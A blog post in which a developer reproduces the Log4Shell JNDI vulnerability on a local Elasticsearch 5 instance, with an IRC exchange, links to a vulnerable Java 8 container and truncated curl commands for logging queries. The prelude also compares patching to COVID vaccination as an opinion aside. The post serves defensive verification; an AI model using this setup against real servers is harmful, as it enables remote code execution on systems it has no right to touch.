Ranty Prelude
I need to see “your truth” with my own eyes before I cargo-cult your imposed commandments to perform some upgrades. If I’m vulnerable, prove it, else how will I know I solved the problem? Just keep taking your word for it, yeah?
This experience had synchrony with the disputations relating to COVID-19, specifically how we cargo-cult the vaccinations without proof of vulnerability nor proof of patching of said vulnerability. I don’t talk about politics on this site but damn this was such funny parallel it’s impossible not to point it out.
Some of us just need evidence… we need to exploit or at least see proof of exploitability, before drastic action is warranted, for the drastic action could cause undesired side effects to a system that is otherwise working fine. This is scientific. Anything else is unscientific. I am so tired of appeal to authority or majority “consensus” being considered anything but fallacious. Sadly not everyone takes Logic.
When I’m lost I turn to IRC. Here’s my nice experience sharing (extending the brainstorming beyond my team) this with #elasticsearch on libera.chat IRC
Fishing Line to Finish Line
keyvan:
good afternoon. im looking for help reproducing the log4shell hack on my ES 5 instance. i have enabled slowlogger and can see my jdni-infected query in the logs, but it does not seem to call out to the external server. i have verified the external setup (im using log4shell.huntress.com) with a small example project containing only various log4j versions and it does work; but it seems elasticsearch isn’t affected? but it should be? thanks
wwalker:
keyvan: does ES 5 run a new enough log4j to be affected? ES5 seems like it probably ran log4j rather than log4j-2
keyvan:
wwalker: i think it uses log4j 2.9, i know 5.6.10 there’s a PR that bumps it to 2.11. there is a table here that shows 5 is supposed to be vulnerable https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476 but what is interesting is that it appears if on Java 9 (on ES6) you’re not vulnerable? so i am wondering if i am not able to repro because im on Java9 on ES5…
keyvan:
i will be downgrading to Java 8 to verify this (the “more vulnerable java”) according to that table…
keyvan:
haHA!!!!!!!! yep, my ES5 with java 8 was vulnerable… but with Java 9 was NOT..
Appendix
Eating the Fish
Here we have our basic Log4J tester project in which the log4j dependency can be changed easily in the build.gradle file: https://github.com/kfatehi/log4shell-test-log4j-intellij-idea-project
Then, for the elasticsearch side of things, we’ve got here a java8 container which is vulnerable to the JNDI attack: https://github.com/kfatehi/docker-elasticsearch5-java8
Finally, we can swap Java 8 for Java 9 (link in the Dockerfile) and witness that the attack does not work.
Forcing All Queries to Get Logged
1 | curl -XPUT 'http://localhost:9200/_all/_settings?preserve_existing=true' -d '{ |
Making the Query
1 | curl -XPUT 'http://localhost:9200/my-index' -d '{ |